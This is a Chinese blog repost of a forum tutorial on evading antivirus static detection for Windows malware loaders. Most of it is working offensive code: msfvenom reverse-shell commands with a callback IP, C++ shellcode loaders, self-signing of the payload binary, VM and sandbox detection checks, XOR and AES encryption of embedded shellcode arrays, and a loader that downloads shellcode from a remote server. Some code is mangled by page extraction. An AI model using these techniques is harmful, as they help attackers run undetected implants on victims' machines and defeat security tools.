Soloz的静态恶意代码免杀

渗透技巧 2年前 (2022) admin
393 0 0

    在看雪上看到了这篇文章,特推荐给大家,主要有两点吸引了我,一是文中罗列的方法虽普通,但总结得挺好,可以作为一个科普性的归纳;二是文中结合了代码穿插讲解,加深了知识点地理解。这里重新编排了原文,主要是方便这里看,也可以去原文查看。这里引用,看雪应该不会找我算帐吧。


原文:https://bbs.pediy.com/thread-271207.htm


恶意代码开发

以下内容仅用于安全研究

前言

目的是能过杀软静态扫描并且能执行上线。

 

开发平台:Windows 10

 

开发工具:MS Visual Studio 2019

 

开发语言:C++

杀软检测工作原理

/引用鸡哥的话术/

 

静态查杀:主要基于hash和特征码,hash可以是文件的hash或导入表之类的hash,特征码可以是是PE头、pdb、全局字符串、互斥体之类的信息。
动态查杀:基于API的监控和沙箱执行,杀软会通过对ntdll的关键API进行hook,实现对程序的API监控。另外可以在内核中注册一系列的回调函数实现对行为的监控。
启发式:多数杀软采用的是基于权重的启发式,就是一套加减分的规则,用于检测程序的潜在恶意行为,如程序在沙盒或模拟器环境运行,在此过程中有操作端口和通讯的函数,并将自身加载到启动项中等上述行为,则很有可能被判定为恶意,另外一些畸形区块也可触发。

杀躲避检测技术

  • 多态(重新编译)对抗基于签名的检测。

  • 代码流的混淆对抗启发式检测。

  • 基于环境的检测对抗沙箱。

  • 敏感信息编码或加密对抗基于签名和启发式。

基本知识

生成shellcode

 

Shellcode 是设计用于运行本地或远程系统 shell 的机器代码片段(因此得名)。它们主要用于利用软件漏洞 – 当攻击者能够控制程序的执行流程时,他需要一些通用有效负载来执行所需的操作(通常是 shell 访问)。这适用于本地开发(例如权限提升)和远程开发(用于在服务器上获得 RCE)。

 

Shellcode 是一种引导代码,它利用已知的特定于平台的机制来执行特定操作(创建进程、启动 TCP 连接等)。Windows shellcode 通常使用 TEB(线程环境块)和 PEB(进程环境块)来查找加载的系统库(<font color=”red”> kernel32.dllkernelbase.dll或ntdll.dll</font>>)的地址,然后“浏览”它们以找到可用于定位其他函数的地址LoadLibrary和GetProcAddress`函数。

 

使用最快捷的方式生成shellcode,比如Metasploit 或者CobaltStrike:


举个例子:

msfvenom -p windows/x64/meterpreter/reverse_tcp  lhost=192.168.220.134 lport=6666 -f c >re_shellcode.c  

#反向shell

msfvenom -p windows/shell_bind_tcp LPORT=4444 -f c   

#正向shell

msfvenom -p windows/x64/exec CMD=calc.exe -f c   

#弹计算器

生成的 shellcode 可以作为字符串包含在二进制文件中。char 数组的经典执行涉及将此数组转换为指向函数的指针,如下所示:


void (*func)();

func = (void (*)()) code;

func();

//(*(void(*)()) code)();

执行shellcode

 

执行 shellcode 的实际方式有点不同。我们需要:

  • 使用VirtualAlloc(或VirtualAllocEx为远程进程)Windows API 函数分配一个新的内存区域,

  • 用 shellcode 字节填充它(例如,使用RtlCopyMemory基本上是一个memcpy包装器的函数),

  • 分别使用CreateThreadCreateRemoteThread函数创建一个新线程。

Shellcode 也可以使用 char 数组来执行函数指针转换,只要 shellcode 所在的内存区域被标记为可执行。


include <Windows.h>

 

void main()

{

const char shellcode[] = ” “;

PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);

DWORD threadID;

HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0,&threadID);

WaitForSingleObject(hThread, INFINITE);

}


针对 VirusTotal 的优化

 

在发布我们的可执行文件之前,我们应该确保从二进制文件中删除一些工件。比如丢弃任何调试符号和信息——这可以通过将构建配置切换到“发布”并禁用调试信息的生成(项目属性中的链接器配置)来实现。

 

Soloz的静态恶意代码免杀

 

在使用 Visual Studio 时,PDB(程序数据库)路径默认嵌入在二进制文件中。PDB 用于存储调试信息,该文件与可执行文件(或 DLL)本身存储在同一目录中。这条路径可能会泄露一些敏感信息-比如:"C:usersuserDesktopprojectReleaseapp.exe".

 

签名

 

某些恶意软件检测引擎可能会将未签名的二进制文件标记为可疑。

 

举个例子:


int main()

{

    return 0;

}

Soloz的静态恶意代码免杀

 

给生成的PE文件添加签名:


makecert --pe -"CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer

certutil -user -addstore Root MalwrCA.cer

makecert -pe -"CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer

pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx

signtool sign /f MalwrCert.pfx /t http://timestamp.digicert.com /fd SHA256 AES_decrypt.exe

Soloz的静态恶意代码免杀

 

Soloz的静态恶意代码免杀

过沙箱

恶意软件动态分析

 

可执行文件的动态分析可以由沙箱自动执行,也可以由分析人员手动执行。恶意应用程序通常使用各种方法来对它们正在执行的环境进行指纹识别,并根据情况执行不同的操作。

 

自动分析在简化的沙盒环境中执行,该环境可能具有某些特定特征,特别是它可能无法模拟真实环境的所有细微差别。手动分析通常在虚拟化环境中执行,并且可能会遇到特定的附加工具(调试器、其他分析软件)。

 

自动和手动分析都有共同的特点,特别是它们通常在虚拟化环境中执行,如果没有正确配置(强化),可以很容易地检测到。大多数沙箱/分析检测技术都围绕检查特定环境属性(有限资源、指示性设备名称)和工件(特定文件、注册表项的存在)。

 

然而,有几个针对自动化沙箱的特定检测,以及恶意软件分析师使用的其他特定于虚拟环境的检测。

 

测试检测

 

这里,用反向shell来进行测试,因为反向shell有一个回连接的c2地址,也是实际场景中最常用的一种方式。

 

cs生成二进制文件:

 

Soloz的静态恶意代码免杀

 

xor加密:

 

Soloz的静态恶意代码免杀

 

测试上线:

 

Soloz的静态恶意代码免杀

 

这种形式的木马,VT 沙箱能够在动态分析过程中提取 IP 地址。

检测虚拟化环境

沙箱类的虚拟化操作系统通常都不能 100% 准确地模拟实际执行环境。虚拟化环境的资源有限,可以利用这里点,来做逃避沙箱。

 

硬件资源

 

要求处理器至少有 2 个内核、至少 2 GB 的 RAM 和 100 GB 的硬盘驱动器。


BOOL check() {

    // check CPU

    SYSTEM_INFO systemInfo;

    GetSystemInfo(&systemInfo);

    DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;

    if (numberOfProcessors < 2)

        return false;

 

    // check RAM

    MEMORYSTATUSEX memoryStatus;

    memoryStatus.dwLength = sizeof(memoryStatus);

    GlobalMemoryStatusEx(&memoryStatus);

    DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;

    if (RAMMB < 2048)

        return false;

 

    // check HDD

    HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0"0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

    DISK_GEOMETRY pDiskGeometry;

    DWORD bytesReturned;

    DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);

    DWORD diskSizeGB;

    diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;

    if (diskSizeGB < 100) return false;

}

设备和供应商名称

 

在默认 VM 安装中,设备通常具有可预测的名称,例如包含与特定管理程序关联的字符串。我们可以检查硬盘名称、光驱名称、BIOS 版本、计算机制造商和型号名称、图形控制器名称等。可以使用 WMI 查询检索相关信息(检查“名称”、“描述”、“标题”等属性) )。


HDEVINFO hDeviceInfo=SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);

SP_DEVINFO_DATA deviceInfoData;

deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);

SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);

DWORD propertyBufferSize;

SetupDiGetDeviceRegistryPropertyW(hDeviceInfo,&deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);

PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);

SetupDiGetDeviceRegistryPropertyW(hDeviceInfo,&deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);

CharUpperW(HDDName);

if (wcsstr(HDDName, L"VBOX")) return false;

查找典型主机系统中不存在的特定虚拟设备,例如用于来宾主机通信的管道和其他接口:


OBJECT_ATTRIBUTES objectAttributes;

UNICODE_STRING uDeviceName;

RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));

RtlInitUnicodeString(&uDeviceName, L"\Device\VBoxGuest"); 

// or pipe: L"\??\pipe\VBoxTrayIPC-<username>"

InitializeObjectAttributes(&objectAttributes,&uDeviceName,OBJ_CASE_INSENSITIVE, 0, NULL);

HANDLE hDevice = NULL;

IO_STATUS_BLOCK ioStatusBlock;

NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 00, FILE_OPEN, 0, NULL, 0);

if (NT_SUCCESS(status)) return false;

MAC 地址可以指示虚拟环境的存在,因为默认情况下前 3 个字节是制造商标识符。迭代所有可用的网络适配器并将第一个字节与已知值进行比较:


DWORD adaptersListSize = 0;

GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);

IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);

if (pAdaptersAddresses)

{

GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);

    char mac[6] = { 0 };

    while (pAdaptersAddresses)

    {

        if (pAdaptersAddresses->PhysicalAddressLength == 6)

        {

            memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);

            if (!memcmp({ "x08x00x27" }, mac, 3)) return false;

        }

    pAdaptersAddresses = pAdaptersAddresses->Next;

    }

}

虚拟环境中的特征值

通过进程名称判断

 

以下是Vmware和VirtualBox可能存在的进程,我们可以使用Process32First,Process32Next等WINAPI列举进程并且检测是否存以下内容。

 

Vmware:

Vmtoolsd.exe

Vmwaretrat.exe

Vmwareuser.exe

Vmacthlp.exe

 

VirtualBox:

vboxservice.exe

vboxtray.exe


#include <iostream>

#include <windows.h>

#include"tlhelp32.h"

#include <string.h>

int check(char* name) {

    const char* list[4= "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe"};

    for (int = 0; i <4; i++) {

        if (strcmp(name, list[i]) == 0)

            return -1;

    }

    return 0;

}

bool CheckProcess(){

    PROCESSENTRY32 pe32;

    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    BOOL bResult = Process32First(hProcessSnap, &pe32);

    while (bResult) {

        char ss_Name[MAX_PATH] = 0 };

        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name), NULL, NULL);

        //printf("%sn", ss_Name);

        if (check(ss_Name) == -1)

            return false;

        bResult = Process32Next(hProcessSnap, &pe32);

    }

    return true;

}

int main() {

    if (CheckProcess() == false) {

        printf("存在虚拟机n");

        //exit(0);

    }

    else{

        printf("检测通过n");

    }

    getchar();

    return 0;

}

使用注册表键值判断

 

以下是vbox和vmware存在的一些注册表:


HKLMSOFTWAREVmware IncVmware Tools

HKLMHARDWAREDEVICEMAPScsiScsi Port 2Scsi Bus 0Target Id 0Logical Unit Id 0Identifier

HKEY_CLASSES_ROOTApplicationsVMwareHostOpen.exe

HKEY_LOCAL_MACHINESOFTWAREOracleVirtualBox Guest Additions

通过检测指定注册表键值是否存在来判断程序是否在虚拟机中运行:


#include <iostream>

#include <windows.h>

#include <string.h>

#include <atlstr.h>

 

bool CheckReg() {

    HKEY hkey;

    CString KeyStr;

    KeyStr = _T("\Applications\VMwareHostOpen.exe");

    if (RegOpenKey(HKEY_CLASSES_ROOT,KeyStr,&hkey) == ERROR_SUCCESS) {

        return true;

    }

    else {

        return false;

    }

}

int main() {

    if (CheckReg()) {

        printf("检测到虚拟机");

    }

    else {

        printf("未检测到虚拟机");

    }

 

}

Soloz的静态恶意代码免杀

 

检测硬盘中的文件

 

下面搜集来了一些vmware和vbox存在的文件特征。可以用多种方法检测文件是否存在,如:WMIC,WINAPI和CMD。

 

VMware


C:windowsSystem32DriversVmmouse.sys

C:windowsSystem32Driversvmtray.dll

C:windowsSystem32DriversVMToolsHook.dll

C:windowsSystem32Driversvmmousever.dll

C:windowsSystem32Driversvmhgfs.dll

C:windowsSystem32DriversvmGuestLib.dll

VirtualBox


C:windowsSystem32DriversVBoxMouse.sys

C:windowsSystem32DriversVBoxGuest.sys

C:windowsSystem32DriversVBoxSF.sys

C:windowsSystem32DriversVBoxVideo.sys

C:windowsSystem32vboxdisp.dll

C:windowsSystem32vboxhook.dll

C:windowsSystem32vboxoglerrorspu.dll

C:windowsSystem32vboxoglpassthroughspu.dll

C:windowsSystem32vboxservice.exe

C:windowsSystem32vboxtray.exe

C:windowsSystem32VBoxControl.exe

简化代码:


// check files

WIN32_FIND_DATAW findFileData;

if (FindFirstFileW(L"C:\Windows\System32\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) return false;

 

// check registry key

HKEY hkResult;

if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\ControlSet001\Services\VBoxSF"0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;

检测当前环境运行的进程

 

枚举所有现有流程和检查典型的分析工具,如WiresharkProcmonx64dbgIDA等。


PROCESSENTRY32W processEntry = 0 };

processEntry.dwSize = sizeof(PROCESSENTRY32W);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

WCHAR processName[MAX_PATH + 1];

if (Process32FirstW(hSnapshot, &processEntry))

{

    do

    {

        StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);

        CharUpperW(processName);

        if (wcsstr(processName, L"WIRESHARK.EXE")) exit(0);

    while (Process32NextW(hSnapshot, &processEntry));

}

 

wprintf_s(L"Now hacking...n");

检测当前环境运行的时间

我们知道,如果我们的PE文件将要被放到沙箱或者虚拟机分析,那么大概率这个测试环境是刚刚启动的,根据这一点,我们可以做一个小功能:

 

如果当前环境启动时间小于20分钟,便不执行该程序:


ULONGLONG uptime = GetTickCount64() / 1000;

if (uptime < 1200return false; //20 minutes

PE资源加载执行

将shellcode作为资源文件嵌入到源代码中:

 

使用cs生成一个二进制文件,类型为raw:

 

Soloz的静态恶意代码免杀

 

在vs中,将其作为资源文件嵌入:

 

Soloz的静态恶意代码免杀

 

然后导入生成的.bin文件,并设置类型(名称可自定义):

 

Soloz的静态恶意代码免杀

 

源代码如下:


#include <iostream>

#include <Windows.h>

#include "resource.h"

#include <stdio.h>

int main()

{

HRSRC shellcodeResource=FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLAOD_BIN1), "paylaod_bin");

    DWORD error_code = GetLastError();

    std::cout << error_code << std::endl;

 

    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

 

    void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, shellcodeResouceData, shellcodeSize);

    ((void(*)())exec)();

 

    return  0;

 

}

混淆

Shellcode亦或混淆加密

首先想到的是修改shellcode以逃避基于其内容的静态签名。

 

可以尝试最简单的“加密”——将 ROT13 密码应用于嵌入的 shellcode 的所有字节——所以0x41变成0x540xFF变成0x0C等等。在执行期间,shellcode 将通过0x0D从每个字节中减去(13)的值来“解密” 。


//rot13

for (int = 0; i < sizeof shellcode; i++)

{

    ((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;

}

//xor

for (int = 0; i < sizeof shellcode; i++)

{

((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ 'x35';

}

举个栗子:

 

python加密脚本


shellcode = ''

shellcode_size = 0

key1 = 10

key2 = 11

with open('./calc.bin','rb')as f:

    try:

        while True:

            code = f.read(1)

            if not code:

                break

            basecode =  ord(code) ^ key1^ key2

            basecode_str = chr(basecode)

            code_hex = hex(basecode)

            code_hex = code_hex.replace('0x','')

            if(len(code_hex)==1):

                code_hex ='0'+code_hex

            shellcode+='\x'+code_hex

            shellcode_size+=1

    except Exception as e:

        print(e)

    print(shellcode)

源代码中解密:


#include <windows.h>

void main()

{

    const char shellcode[] = "xfdx49x82xe5xf1xe9xc1x01x01x01x40x50x40x51x53x50x57x49x30xd3x64x49x8ax53x61x49x8ax53x19x49x8ax53x21x49x8ax73x51x49x0exb6x4bx4bx4cx30xc8x49x30xc1xadx3dx60x7dx03x2dx21x40xc0xc8x0cx40x00xc0xe3xecx53x40x50x49x8ax53x21x8ax43x3dx49x00xd1x8ax81x89x01x01x01x49x84xc1x75x66x49x00xd1x51x8ax49x19x45x8ax41x21x48x00xd1xe2x57x49xfexc8x40x8ax35x89x49x00xd7x4cx30xc8x49x30xc1xadx40xc0xc8x0cx40x00xc0x39xe1x74xf0x4dx02x4dx25x09x44x38xd0x74xd9x59x45x8ax41x25x48x00xd1x67x40x8ax0dx49x45x8ax41x1dx48x00xd1x40x8ax05x89x49x00xd1x40x59x40x59x5fx58x5bx40x59x40x58x40x5bx49x82xedx21x40x53xfexe1x59x40x58x5bx49x8ax13xe8x56xfexfexfex5cx49xbbx00x01x01x01x01x01x01x01x49x8cx8cx00x00x01x01x40xbbx30x8ax6ex86xfexd4xbaxf1xb4xa3x57x40xbbxa7x94xbcx9cxfexd4x49x82xc5x29x3dx07x7dx0bx81xfaxe1x74x04xbax46x12x73x6ex6bx01x58x40x88xdbxfexd4x62x60x6dx62x2fx64x79x64x01";

    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);

    DWORD threadID;

    char key1 = 10;

    char key2 = 11;

    for (int = 0; i < sizeof shellcode; i++)

    {

        ((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ key2^key1;

    }

    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);

    WaitForSingleObject(hThread, INFINITE);

}

Soloz的静态恶意代码免杀

 

关于xor解密,有些杀软会识别源码中的xor解密,标记为可疑:

 

这里可使用windos 提供的一个 API(现在也会被识别了,提供一个思路):

 

<font color=”red”>_InterlockedXor8:在由多线程共享的变量上执行原子按位异或 (XOR) 操作。</font>

 

https://docs.microsoft.com/zh-cn/cpp/intrinsics/interlockedxor-intrinsic-functions?view=msvc-160

1

2

3

4

5

for (int = 0; i < sizeof shellcode; i++) {

    //Sleep(50);

    _InterlockedXor8((volatile char *)shellcode+i ,key2);

    _InterlockedXor8((volatile char *)shellcode+i, key1);

}

Shellcode AES混淆加密

AES为分组密码,分组密码也就是把明文分成一组一组的,每组长度相等,每次加密一组数据,直到加密完整个明文。在AES标准规范中,分组长度只能是128位,也就是说,每个分组为16个字节(每个字节8位)。密钥的长度可以使用128位、192位或256位。密钥的长度不同,推荐加密轮数也不同,如下表所示:

 

AES 密钥长度(32位比特字) 分组长度(32位比特字) 加密轮数
AES-128 4 4 10
AES-192 6 4 12
AES-256 8 4 14

 

AES有多种加密方式和填充模式。

 

加密方式如CBC,ECB,CFB等;填充模式有NoPadding、PKCS#7 & PKCS#5、ZerosPadding等。

 

简单说一下填充模式:

 

NoPadding

 

顾名思义,就是不填充。缺点就是只能加密长为128bits倍数的信息,一般不会使用。

 

PKCS#7 & PKCS#5

 

缺几个字节就填几个缺的字节数。

 

ZerosPadding

 

全部填充0x00,无论缺多少全部填充0x00,已经是128bits倍数仍要填充。

 

C++没有内置的AES加密库,需要在项目中导入封装好的方法来调用,下面是github上的三个开源的AES加密解密项目:

  • 谢尔盖贝尔/AES

  • kokke/tiny-AES-c

  • kkAyataka/plusaes

这里以第二个项目为例(因为star最多)。

 

git clone项目到本地,然后将源文件和头文件导入到项目中,结构如下:

 

Soloz的静态恶意代码免杀

 

AES加密

 

这里就以AES-256、CBC、NoPadding为例,写一个加密的功能:

 

256位就是32byte,为了保证是shellcode是32的倍数,需要在末尾添加0。同时C++会在字符串最后加个作为结尾符,所以我们需要加密的实际长度应该是<font color =”red”><b>sizeof(shellcode) -1</b></font>,如下:


#include <Windows.h>

#include <stdio.h>

#include "aes.hpp"

int main(int argc, char* argv[])

{

    // msfvenom -p windows/x64/exec CMD=notepad EXITFUNC=thread -f c

    unsigned char shellcode[] =

/* length: 897 bytes */

"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx33x53x62x75x00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex30x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x6dx73x6ex20x4fx70x74x69x6dx69x7ax65x64x49x45x38x3bx45x4ex55x53x29x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex31x30x2ex31x30x2ex31x33x30x00x00x00x00x00x00x00x00x00x00";

 

    SIZE_T shellcodeSize = sizeof(shellcode);

 

/*uint8_t in[] = 0x6b0xc10xbe0xe20x2e0x400x9f0x960xe90x3d0x7e0x110x730x930x170x2a,0xae0x2d0x8a0x570x1e0x030xac0x9c0x9e0xb70x6f0xac0x450xaf0x8e0x51,0x300xc80x1c0x460xa30x5c0xe40x110xe50xfb0xc10x190x1a0x0a0x520xef,0xf60x9f0x240x450xdf0x4f0x9b0x170xad0x2b0x410x7b0xe60x6c0x370x10 };*/

    uint8_t key[] = 0x600x3d0xeb0x100x150xca0x710xbe0x2b0x730xae0xf00x850x7d0x770x81,0x1f0x350x2c0x070x3b0x610x080xd70x2d0x980x100xa30x090x140xdf0xf4 };

    /*uint8_t out[] = 0xf50x8c0x4c0x040xd60xe50xf10xba0x770x9e0xab0xfb0x5f0x7b0xfb0xd6,0x9c0xfc0x4e0x960x7e0xdb0x800x8d0x670x9f0x770x7b0xc60x700x2c0x7d,0x390xf20x330x690xa90xd90xba0xcf0xa50x300xe20x630x040x230x140x61,0xb20xeb0x050xe20xc30x9b0xe90xfc0xda0x6c0x190x070x8c0x6a0x9d0x1b };*/

    uint8_t iv[] = 0x000x010x020x030x040x050x060x070x080x090x0a0x0b0x0c0x0d0x0e0x0f };

 

    struct AES_ctx ctx;

    AES_init_ctx_iv(&ctx, key, iv);

    AES_CBC_encrypt_buffer(&ctx, shellcode,sizeof(shellcode));

    for (size_t i = 0; i < sizeof(shellcode)-1 ; i++)

    {

        printf("\x%02x", shellcode[i]);

    }

    printf("rn%d", sizeof(shellcode));

    /*printf("Encrypted buffer:n");

 

    for (int = 0; i < shellcodeSize - 1; i++) {

        printf("\x%02x", shellcode[i]);       

    }

    printf("rn%d", shellcodeSize);*/

    return 0;

}

AES解密


BOOL Decrypt(){

    unsigned char shellcode[]="";

 

    SIZE_T shellcodeSize = sizeof(shellcode);

 

    /*uint8_t in[] = 0x6b0xc10xbe0xe20x2e0x400x9f0x960xe90x3d0x7e0x110x730x930x170x2a,0xae0x2d0x8a0x570x1e0x030xac0x9c0x9e0xb70x6f0xac0x450xaf0x8e0x51,

0x300xc80x1c0x460xa30x5c0xe40x110xe50xfb0xc10x190x1a0x0a0x520xef,0xf60x9f0x240x450xdf0x4f0x9b0x170xad0x2b0x410x7b0xe60x6c0x370x10 };*/

    uint8_t key[] = 0x600x3d0xeb0x100x150xca0x710xbe0x2b0x730xae0xf00x850x7d0x770x81,0x1f0x350x2c0x070x3b0x610x080xd70x2d0x980x100xa30x090x140xdf0xf4 };

    /*uint8_t out[] = 0xf50x8c0x4c0x040xd60xe50xf10xba0x770x9e0xab0xfb0x5f0x7b0xfb0xd6,0x9c0xfc0x4e0x960x7e0xdb0x800x8d0x670x9f0x770x7b0xc60x700x2c0x7d,0x390xf20x330x690xa90xd90xba0xcf0xa50x300xe20x630x040x230x140x61,0xb20xeb0x050xe20xc30x9b0xe90xfc0xda0x6c0x190x070x8c0x6a0x9d0x1b };*/

    uint8_t iv[] = 0x000x010x020x030x040x050x060x070x080x090x0a0x0b0x0c0x0d0x0e0x0f };

    struct AES_ctx ctx;

 

    AES_init_ctx_iv(&ctx, key, iv);

    AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));

    ........

        return true;

}

分离

顾名思义,将加载器和shellcode分开,执行加载器的时候再讲shellcode加载进内存,一般是将shellcode放到远程服务器上。


int Download(LPSTR url,string &RawData)

{

    HINTERNET hSession;

hSession = InternetOpen(UA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    DWORD dwInfoBufferLength = 8;

    BYTE *pInfoBuffer = NULL;

    try

    {

        if (hSession != NULL)

        {

            HINTERNET hRequest;

   hRequest = InternetOpenUrlA(hSession, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);

     if (!::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwBytesStreamFile, &dwInfoBufferLength, NULL))

            {

                return 0;

            }

            else {

                pInfoBuffer = new unsigned char[dwBytesStreamFile];

            }

            try

            {

                int = 0;

                char szBuffer[BUF_SIZE] = 0 };

                DWORD dwBytesRead = BUF_SIZE;

                int nTotalBytesOfRead = 0;

                do{

                    BOOL bRet = InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead);

                    if (bRet && dwBytesRead)

                    {

                        memcpy_s(pInfoBuffer + nTotalBytesOfRead, dwBytesRead, szBuffer, dwBytesRead);

                        nTotalBytesOfRead += dwBytesRead;

                    }

                while (dwBytesRead > 0);

                InternetCloseHandle(hSession);

            }

            catch (const std::exception&)

            {

                return NULL;

            }

        }

    }

    catch (const std::exception&) {

